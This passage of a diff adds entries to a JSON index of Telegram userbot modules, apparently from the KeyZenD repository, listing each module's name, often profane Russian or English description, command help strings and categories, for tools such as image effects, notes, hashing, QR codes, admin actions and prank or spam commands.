"KeyZenD/modules/dotify.py": { + "name": "DotifyMod", + "description": "Image to dot\n.cmd <count> + reply to img\nthe bigger, the slower and bugger\nrecommended not more 1000", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "dotifycmd": "Image to RGB dots" + }, + { + "dotificmd": "Image to BW dots " + } + ], + "new_commands": [ + { + "dotify": { + "ru_doc": null, + "en_doc": null, + "doc": "Image to RGB dots" + } + }, + { + "dotifi": { + "ru_doc": null, + "en_doc": null, + "doc": "Image to BW dots " + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "KeyZenD/modules/pung.py": { + "name": "PingerMod", + "description": "более точный пинг", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "pingcmd": "пингует" + } + ], + "new_commands": [ + { + "ping": { + "ru_doc": null, + "en_doc": null, + "doc": "пингует" + } + } + ], + "category": [ + "Tools", + "Networking" + ] + }, + "KeyZenD/modules/заёбушка.py": { + "name": "ЗаёбушкаMod", + "description": "Заебет любого", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "заебуcmd": ".заебу <колличество> <реплай на того, кого заебать>" + } + ], + "new_commands": [ + { + "заебу": { + "ru_doc": null, + "en_doc": null, + "doc": ".заебу <колличество> <реплай на того, кого заебать>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/admin_tools.py": { + "name": "BanMod", + "description": "Админтулс", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "bancmd": "Бан в чате" + }, + { + "unbancmd": "Разбан в чате" + }, + { + "kickcmd": "Кикнуть из чата" + }, + { + "promotecmd": "Дать админку" + }, + { + "demotecmd": "Снять админку" + } + ], + "new_commands": [ + { + "ban": { + "ru_doc": null, + "en_doc": null, + "doc": "Бан в чате" + } + }, + { + "unban": { + "ru_doc": null, + "en_doc": null, + "doc": "Разбан в чате" + } + }, + { + "kick": { + "ru_doc": null, + "en_doc": null, + "doc": "Кикнуть из чата" + } + }, + { + "promote": { + "ru_doc": null, + "en_doc": null, + "doc": "Дать админку" + } + }, + { + "demote": { + "ru_doc": null, + "en_doc": null, + "doc": "Снять админку" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "KeyZenD/modules/TgsKiller.py": { + "name": "TgsKillerMod", + "description": "Хуярит", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "tgscmd": "хуярит стикеры" + } + ], + "new_commands": [ + { + "tgs": { + "ru_doc": null, + "en_doc": null, + "doc": "хуярит стикеры" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "KeyZenD/modules/webshot.py": { + "name": "WebShotMod", + "description": "link to screen", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "webshotcmd": "" + } + ], + "new_commands": [ + { + "webshot": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/codefy.py": { + "name": "CodefyMod", + "description": "Makes message monospace", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "codecmd": ".code <text or reply>" + } + ], + "new_commands": [ + { + "code": { + "ru_doc": null, + "en_doc": null, + "doc": ".code <text or reply>" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/pydraft.py": { + "name": "PyDraftMod", + "description": "Выполняет выражение из черновиков (работает 10 минут)\nинструкция на канале @SomeScripts", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "pydraftcmd": "Запустить/Остановить" + } + ], + "new_commands": [ + { + "pydraft": { + "ru_doc": null, + "en_doc": null, + "doc": "Запустить/Остановить" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/hearts.py": { + "name": "HeartsMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "heartscmd": "" + } + ], + "new_commands": [ + { + "hearts": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/Swiper.py": { + "name": "SwiperMod", + "description": "Swiper", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "sl2rcmd": "swipe left to right" + }, + { + "sr2lcmd": "swipe right to left" + }, + { + "su2dcmd": "swipe up to down" + }, + { + "sd2ucmd": "swipe down to up" + } + ], + "new_commands": [ + { + "sl2r": { + "ru_doc": null, + "en_doc": null, + "doc": "swipe left to right" + } + }, + { + "sr2l": { + "ru_doc": null, + "en_doc": null, + "doc": "swipe right to left" + } + }, + { + "su2d": { + "ru_doc": null, + "en_doc": null, + "doc": "swipe up to down" + } + }, + { + "sd2u": { + "ru_doc": null, + "en_doc": null, + "doc": "swipe down to up" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "KeyZenD/modules/datamosh.py": { + "name": "DataMoshMod", + "description": "DataMosh effect to video", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "datamoshcmd": ". datamosh lvl: int <reply to video>" + } + ], + "new_commands": [ + { + "datamosh": { + "ru_doc": null, + "en_doc": null, + "doc": ". datamosh lvl: int <reply to video>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/noterminal.py": { + "name": "noTerminalMod", + "description": "Runs commands", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "noterminalcmd": "Gets the note specified" + }, + { + "noterminatecmd": "Use in reply to send SIGTERM to a process" + }, + { + "nokillcmd": "Use in reply to send SIGKILL to a process" + } + ], + "new_commands": [ + { + "noterminal": { + "ru_doc": null, + "en_doc": null, + "doc": "Gets the note specified" + } + }, + { + "noterminate": { + "ru_doc": null, + "en_doc": null, + "doc": "Use in reply to send SIGTERM to a process" + } + }, + { + "nokill": { + "ru_doc": null, + "en_doc": null, + "doc": "Use in reply to send SIGKILL to a process" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/stext.py": { + "name": "Text2stickMod", + "description": "Text to sticker", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "stextcmd": ".stext <reply to photo>" + } + ], + "new_commands": [ + { + "stext": { + "ru_doc": null, + "en_doc": null, + "doc": ".stext <reply to photo>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/MirrorFlip.py": { + "name": "MFMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "llcmd": "" + }, + { + "rrcmd": "" + }, + { + "uucmd": "" + }, + { + "ddcmd": "" + } + ], + "new_commands": [ + { + "ll": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "rr": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "uu": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "dd": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "KeyZenD/modules/notexec.py": { + "name": "ExecutorMod", + "description": "Stores global notes (aka snips)", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "notexeccmd": "Gets the note specified" + } + ], + "new_commands": [ + { + "notexec": { + "ru_doc": null, + "en_doc": null, + "doc": "Gets the note specified" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "KeyZenD/modules/gird.py": { + "name": "GriderMod", + "description": "Гавно залупное", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "gridcmd": ".gird <reply to photo>" + }, + { + "revgridcmd": ".gird <reply to photo>" + } + ], + "new_commands": [ + { + "grid": { + "ru_doc": null, + "en_doc": null, + "doc": ".gird <reply to photo>" + } + }, + { + "revgrid": { + "ru_doc": null, + "en_doc": null, + "doc": ".gird <reply to photo>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/Switcher.py": { + "name": "KeyboardSwitcherMod", + "description": "Смена расскаладки клавиатуры у текста", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "switchcmd": "Если ты допустил ошибку и набрал текст не сменив раскладку клавиатуры\nто вернись в его начало и допиши `.switch` и твой текст станет читабельным.\nЕсли ты всё же отправил сообщение не в той расскладке, то просто ответь на него этой командой и он измениться.\nесли же твой собеседник допустил ошибку, то просто ответь на его сообщение и сообщение с командой измениться." + } + ], + "new_commands": [ + { + "switch": { + "ru_doc": null, + "en_doc": null, + "doc": "Если ты допустил ошибку и набрал текст не сменив раскладку клавиатуры\nто вернись в его начало и допиши `.switch` и твой текст станет читабельным.\nЕсли ты всё же отправил сообщение не в той расскладке, то просто ответь на него этой командой и он измениться.\nесли же твой собеседник допустил ошибку, то просто ответь на его сообщение и сообщение с командой измениться." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/leave.py": { + "name": "LeaveMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "leavecmd": ".leave" + } + ], + "new_commands": [ + { + "leave": { + "ru_doc": null, + "en_doc": null, + "doc": ".leave" + } + } + ], + "category": [ + "Chat", + "Automation" + ] + }, + "KeyZenD/modules/zip.py": { + "name": "ZipMod", + "description": "Запаковывает/распаковывает файлы", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "zipaddcmd": ".zipadd <file/reply to file> - сохраняет файл во временную папку" + }, + { + "ziplistcmd": "список сохраненных файлов" + }, + { + "zipshowcmd": ".zipshow <name> - показывает сохранённый файл" + }, + { + "zipdelcmd": ".zipdel <name> - удаляет сохранённый файл" + }, + { + "zipcmd": ".zip <name> (-s) - пакует в архив name. если есть флаг -s то сохраняет папку с фацлами" + }, + { + "zipcleancmd": ".zipclear - очищает папку с файлами" + } + ], + "new_commands": [ + { + "zipadd": { + "ru_doc": null, + "en_doc": null, + "doc": ".zipadd <file/reply to file> - сохраняет файл во временную папку" + } + }, + { + "ziplist": { + "ru_doc": null, + "en_doc": null, + "doc": "список сохраненных файлов" + } + }, + { + "zipshow": { + "ru_doc": null, + "en_doc": null, + "doc": ".zipshow <name> - показывает сохранённый файл" + } + }, + { + "zipdel": { + "ru_doc": null, + "en_doc": null, + "doc": ".zipdel <name> - удаляет сохранённый файл" + } + }, + { + "zip": { + "ru_doc": null, + "en_doc": null, + "doc": ".zip <name> (-s) - пакует в архив name. если есть флаг -s то сохраняет папку с фацлами" + } + }, + { + "zipclean": { + "ru_doc": null, + "en_doc": null, + "doc": ".zipclear - очищает папку с файлами" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "KeyZenD/modules/gg.gg.py": { + "name": "GGdotGGMod", + "description": "Сокращение ссылок через сервис gg.gg", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "ggcmd": ".gg <длинная ссылка или реплай на ссылку> " + } + ], + "new_commands": [ + { + "gg": { + "ru_doc": null, + "en_doc": null, + "doc": ".gg <длинная ссылка или реплай на ссылку> " + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/demot.py": { + "name": "DemoterMod", + "description": "Демотиваторы", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "demotcmd": "" + } + ], + "new_commands": [ + { + "demot": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/ticker.py": { + "name": "TickerMod", + "description": "Makes your messages type slower", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "tickercmd": ".ticker <message>" + } + ], + "new_commands": [ + { + "ticker": { + "ru_doc": null, + "en_doc": null, + "doc": ".ticker <message>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/hyi.py": { + "name": "Ебал_я_в_рот_ваш_пеп_8_Mod", + "description": "Гавно залупное", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "хуйcmd": "" + }, + { + "хуйняcmd": "" + } + ], + "new_commands": [ + { + "хуй": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "хуйня": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "KeyZenD/modules/MacAshoT.py": { + "name": "aMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "maccmd": "" + } + ], + "new_commands": [ + { + "mac": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/help.py": { + "name": "HelpMod", + "description": "Provides this help message", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "helpcmd": ".help [module]" + }, + { + "KeyZenDcmd": "ДА Я ЗНАЮ ЧТО Я ОХУЕЛ НО МНЕ ПОХУЙ, МОЙ ХЕЛП!" + } + ], + "new_commands": [ + { + "help": { + "ru_doc": null, + "en_doc": null, + "doc": ".help [module]" + } + }, + { + "KeyZenD": { + "ru_doc": null, + "en_doc": null, + "doc": "ДА Я ЗНАЮ ЧТО Я ОХУЕЛ НО МНЕ ПОХУЙ, МОЙ ХЕЛП!" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/tagall.py": { + "name": "TagallMod", + "description": "Tagall", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "tagallcmd": "" + } + ], + "new_commands": [ + { + "tagall": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/заёбушка2.0.py": { + "name": "ЗаёбушкаMod", + "description": "Заебет любого", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "заебуcmd": ".заебу <колличество> <реплай на того, кого заебать>" + } + ], + "new_commands": [ + { + "заебу": { + "ru_doc": null, + "en_doc": null, + "doc": ".заебу <колличество> <реплай на того, кого заебать>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/calc.py": { + "name": "КукуляторMod", + "description": "Кукулирует вырожения", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "calccmd": ".calc <выражение или реплай на то, что нужно посчитать>\nКстати:\n** - возвести в степень\n/ - деление\n% - деление по модулю" + } + ], + "new_commands": [ + { + "calc": { + "ru_doc": null, + "en_doc": null, + "doc": ".calc <выражение или реплай на то, что нужно посчитать>\nКстати:\n** - возвести в степень\n/ - деление\n% - деление по модулю" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/pic2pack.py": { + "name": "pic2packMod", + "description": "pic2pack", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "pic2packcmd": ".pic2pack {packname} + <reply to photo>" + } + ], + "new_commands": [ + { + "pic2pack": { + "ru_doc": null, + "en_doc": null, + "doc": ".pic2pack {packname} + <reply to photo>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/OneMessage.py": { + "name": "OneMessageMod", + "description": "@faq lines", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "omstartcmd": "Start OneMessage mode" + }, + { + "omstopcmd": "Stop OneMessage mode" + } + ], + "new_commands": [ + { + "omstart": { + "ru_doc": null, + "en_doc": null, + "doc": "Start OneMessage mode" + } + }, + { + "omstop": { + "ru_doc": null, + "en_doc": null, + "doc": "Stop OneMessage mode" + } + } + ], + "category": [ + "Fun", + "Chat" + ] + }, + "KeyZenD/modules/LoremIpsum.py": { + "name": "LoremIpsumMod", + "description": "Lorem Ipsum generation", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "loremipsumcmd": ".loremipsum <count: int> <length: str> <file?>\ncount - number of paragraphs| std: 1\nlength - s-short, m-medium, l-long, v-verylong|std: m(edium)\nfile - if nothing- send as message, if anything- send as file" + } + ], + "new_commands": [ + { + "loremipsum": { + "ru_doc": null, + "en_doc": null, + "doc": ".loremipsum <count: int> <length: str> <file?>\ncount - number of paragraphs| std: 1\nlength - s-short, m-medium, l-long, v-verylong|std: m(edium)\nfile - if nothing- send as message, if anything- send as file" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "KeyZenD/modules/purge.py": { + "name": "PurgeMod", + "description": "Deletes your messages", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "purgecmd": "Purge from the replied message" + }, + { + "delcmd": "Delete the replied message" + } + ], + "new_commands": [ + { + "purge": { + "ru_doc": null, + "en_doc": null, + "doc": "Purge from the replied message" + } + }, + { + "del": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete the replied message" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/ph.py": { + "name": "UploadPHMod", + "description": "Upload video and photo to telegra.ph", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "phcmd": ".ph <reply photo or video>" + } + ], + "new_commands": [ + { + "ph": { + "ru_doc": null, + "en_doc": null, + "doc": ".ph <reply photo or video>" + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "KeyZenD/modules/modulator.py": { + "name": "BMod", + "description": "Modulate pitch of voice", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "modulatecmd": "" + } + ], + "new_commands": [ + { + "modulate": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/filename.py": { + "name": "filenameMod", + "description": "filename changer", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "filenamecmd": ".filename <filename> + reply.file" + } + ], + "new_commands": [ + { + "filename": { + "ru_doc": null, + "en_doc": null, + "doc": ".filename <filename> + reply.file" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/MicroQuotes.py": { + "name": "MicroQuotesMod", + "description": "Микроцитаты", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "mqcmd": ".mq <реплай на текст>" + } + ], + "new_commands": [ + { + "mq": { + "ru_doc": null, + "en_doc": null, + "doc": ".mq <реплай на текст>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/notes.py": { + "name": "NotesMod", + "description": "Stores global notes (aka snips)", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "findnotecmd": "Gets the note specified" + }, + { + "notecmd": "Gets the note specified" + }, + { + "delallnotescmd": "Deletes all the saved notes" + }, + { + "savecmd": "Save a new note. Must be used in reply with one parameter (note name)" + }, + { + "delnotecmd": "Deletes a note, specified by note name" + }, + { + "notescmd": "List the saved notes" + } + ], + "new_commands": [ + { + "findnote": { + "ru_doc": null, + "en_doc": null, + "doc": "Gets the note specified" + } + }, + { + "note": { + "ru_doc": null, + "en_doc": null, + "doc": "Gets the note specified" + } + }, + { + "delallnotes": { + "ru_doc": null, + "en_doc": null, + "doc": "Deletes all the saved notes" + } + }, + { + "save": { + "ru_doc": null, + "en_doc": null, + "doc": "Save a new note. Must be used in reply with one parameter (note name)" + } + }, + { + "delnote": { + "ru_doc": null, + "en_doc": null, + "doc": "Deletes a note, specified by note name" + } + }, + { + "notes": { + "ru_doc": null, + "en_doc": null, + "doc": "List the saved notes" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/cheval.py": { + "name": "channelEvalMod", + "description": "Выполняет команду в канале", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "chevalcmd": ".channel <канал> <id сообщения реплая, или же выполнение команды из комментариев> <комманда в том виде, в котором бы ты отправил её в чат>" + } + ], + "new_commands": [ + { + "cheval": { + "ru_doc": null, + "en_doc": null, + "doc": ".channel <канал> <id сообщения реплая, или же выполнение команды из комментариев> <комманда в том виде, в котором бы ты отправил её в чат>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/SuperDemotivator.py": { + "name": "DeMoTiVaToRsMod", + "description": "Демотиваторы на картинки от @SomeScripts by @DneZyeK", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "demoticmd": "текст + фото или ответ на фото\nне мнёт фотки" + }, + { + "demotcmd": "текст + фото или ответ на фото\nмнёт фотки" + } + ], + "new_commands": [ + { + "demoti": { + "ru_doc": null, + "en_doc": null, + "doc": "текст + фото или ответ на фото\nне мнёт фотки" + } + }, + { + "demot": { + "ru_doc": null, + "en_doc": null, + "doc": "текст + фото или ответ на фото\nмнёт фотки" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/SquareBlur.py": { + "name": "SquareBlurMod", + "description": "Make image 1:1 ratio", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "squareblurcmd": "make image 1:1 ratio" + } + ], + "new_commands": [ + { + "squareblur": { + "ru_doc": null, + "en_doc": null, + "doc": "make image 1:1 ratio" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "KeyZenD/modules/print.py": { + "name": "PrintMod", + "description": "Аналог модуля typewriter", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "printcmd": ".print <text or reply>" + } + ], + "new_commands": [ + { + "print": { + "ru_doc": null, + "en_doc": null, + "doc": ".print <text or reply>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/python.py": { + "name": "PythonMod", + "description": "Python stuff", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "evalcmd": ".eval <expression>\nEvaluates python code" + }, + { + "execcmd": ".exec <expression>\nExecutes python code" + } + ], + "new_commands": [ + { + "eval": { + "ru_doc": null, + "en_doc": null, + "doc": ".eval <expression>\nEvaluates python code" + } + }, + { + "exec": { + "ru_doc": null, + "en_doc": null, + "doc": ".exec <expression>\nExecutes python code" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "KeyZenD/modules/family.py": { + "name": "FamilyMod", + "description": "Quote a message", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "familycmd": "" + } + ], + "new_commands": [ + { + "family": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/ttdl.py": { + "name": "TikTokDlMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "ttcmd": "" + } + ], + "new_commands": [ + { + "tt": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/SuperDemotivator.V2.py": { + "name": "DeMoTiVaToRsMod", + "description": "Демотиваторы на картинки от @SomeScripts by @DneZyeK", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "demoticmd": "текст + фото или ответ на фото\nне мнёт фотки" + }, + { + "demotcmd": "текст + фото или ответ на фото\nмнёт фотки" + } + ], + "new_commands": [ + { + "demoti": { + "ru_doc": null, + "en_doc": null, + "doc": "текст + фото или ответ на фото\nне мнёт фотки" + } + }, + { + "demot": { + "ru_doc": null, + "en_doc": null, + "doc": "текст + фото или ответ на фото\nмнёт фотки" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/QRtools.py": { + "name": "QRtoolsMod", + "description": "Generator and reader of QR codes", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "makeqrcmd": ".makeqr <text or reply>" + }, + { + "readqrcmd": ".readqr <qrcode or reply to qrcode>" + } + ], + "new_commands": [ + { + "makeqr": { + "ru_doc": null, + "en_doc": null, + "doc": ".makeqr <text or reply>" + } + }, + { + "readqr": { + "ru_doc": null, + "en_doc": null, + "doc": ".readqr <qrcode or reply to qrcode>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/Hasher.py": { + "name": "HasherMod", + "description": "Hashing text and files", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "md5cmd": ".md5 <(text or media) or (reply to text or media)>\nHashing to md5" + }, + { + "sha1cmd": ".sha1 <(text or media) or (reply to text or media)\nHashing to sha1" + }, + { + "sha224cmd": ".sha224 <(text or media) or (reply to text or media)\nHashing to sha224" + }, + { + "sha256cmd": ".sha255 <(text or media) or (reply to text or media)\nHashing to sha256" + }, + { + "sha384cmd": ".sha384 <(text or media) or (reply to text or media)\nHashing to sha384" + }, + { + "sha512cmd": ".sha512 <(text or media) or (reply to text or media)\nHashing to sha512" + }, + { + "blake2bcmd": ".blake2 <(text or media) or (reply to text or media)\nHashing to blake2" + }, + { + "blake2scmd": ".blake2s <(text or media) or (reply to text or media)\nHashing to blake2s" + } + ], + "new_commands": [ + { + "md5": { + "ru_doc": null, + "en_doc": null, + "doc": ".md5 <(text or media) or (reply to text or media)>\nHashing to md5" + } + }, + { + "sha1": { + "ru_doc": null, + "en_doc": null, + "doc": ".sha1 <(text or media) or (reply to text or media)\nHashing to sha1" + } + }, + { + "sha224": { + "ru_doc": null, + "en_doc": null, + "doc": ".sha224 <(text or media) or (reply to text or media)\nHashing to sha224" + } + }, + { + "sha256": { + "ru_doc": null, + "en_doc": null, + "doc": ".sha255 <(text or media) or (reply to text or media)\nHashing to sha256" + } + }, + { + "sha384": { + "ru_doc": null, + "en_doc": null, + "doc": ".sha384 <(text or media) or (reply to text or media)\nHashing to sha384" + } + }, + { + "sha512": { + "ru_doc": null, + "en_doc": null, + "doc": ".sha512 <(text or media) or (reply to text or media)\nHashing to sha512" + } + }, + { + "blake2b": { + "ru_doc": null, + "en_doc": null, + "doc": ".blake2 <(text or media) or (reply to text or media)\nHashing to blake2" + } + }, + { + "blake2s": { + "ru_doc": null, + "en_doc": null, + "doc": ".blake2s <(text or media) or (reply to text or media)\nHashing to blake2s" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/YTsearch.py": { + "name": "YTsearchMod", + "description": "Поиск видео на ютубе", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "ytcmd": "текст или реплай" + } + ], + "new_commands": [ + { + "yt": { + "ru_doc": null, + "en_doc": null, + "doc": "текст или реплай" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/urldl.py": { + "name": "aMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "urldlcmd": "" + }, + { + "urldlbigcmd": "" + } + ], + "new_commands": [ + { + "urldl": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "urldlbig": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "KeyZenD/modules/Circles.py": { + "name": "CirclesMod", + "description": "округляет всё", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "roundcmd": ".round <Reply to image/sticker or video/gif>" + } + ], + "new_commands": [ + { + "round": { + "ru_doc": null, + "en_doc": null, + "doc": ".round <Reply to image/sticker or video/gif>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/BlackLines.py": { + "name": "BlackLinesMod", + "description": "Draw line via @BlackLinesBot", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "linecmd": ".line <reply to photo>" + } + ], + "new_commands": [ + { + "line": { + "ru_doc": null, + "en_doc": null, + "doc": ".line <reply to photo>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/pypng.py": { + "name": "py2pngMod", + "description": "Uploader", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "pypngcmd": "reply to text code or py file" + } + ], + "new_commands": [ + { + "pypng": { + "ru_doc": null, + "en_doc": null, + "doc": "reply to text code or py file" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/valute.py": { + "name": "ValitesMod", + "description": "Valute converter", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "valutecmd": ".valute <Valute char code (optional)>" + } + ], + "new_commands": [ + { + "valute": { + "ru_doc": null, + "en_doc": null, + "doc": ".valute <Valute char code (optional)>" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "KeyZenD/modules/kzdQuotes.py": { + "name": "kzdQuotesMod", + "description": "kzdQuote a message", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "qqcmd": "" + }, + { + "qqsetcmd": "" + } + ], + "new_commands": [ + { + "qq": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "qqset": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/Lines50.py": { + "name": "Lines50Mod", + "description": "Draw photo with 50 lines via @Lines50Bot", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "linescmd": ".lines <reply to photo>" + } + ], + "new_commands": [ + { + "lines": { + "ru_doc": null, + "en_doc": null, + "doc": ".lines <reply to photo>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/keyboard_lagre.py": { + "name": "CodefyMod", + "description": "Makes message monospace", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "keyboardcmd": ".keyboard <text or reply>" + } + ], + "new_commands": [ + { + "keyboard": { + "ru_doc": null, + "en_doc": null, + "doc": ".keyboard <text or reply>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "KeyZenD/modules/null.py": { + "name": "nullMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "nullcmd": "" + } + ], + "new_commands": [ + { + "null": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/scrs.py": { + "name": "ScrSpamMod", + "description": "Screenshot Spammer by @KeyZenD", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "scrscmd": ".scrs <amount>" + } + ], + "new_commands": [ + { + "scrs": { + "ru_doc": null, + "en_doc": null, + "doc": ".scrs <amount>" + } + } + ], + "category": [ + "Tools", + "Fun" + ] + }, + "KeyZenD/modules/keyboard_small.py": { + "name": "CodefyMod", + "description": "Makes message monospace", + 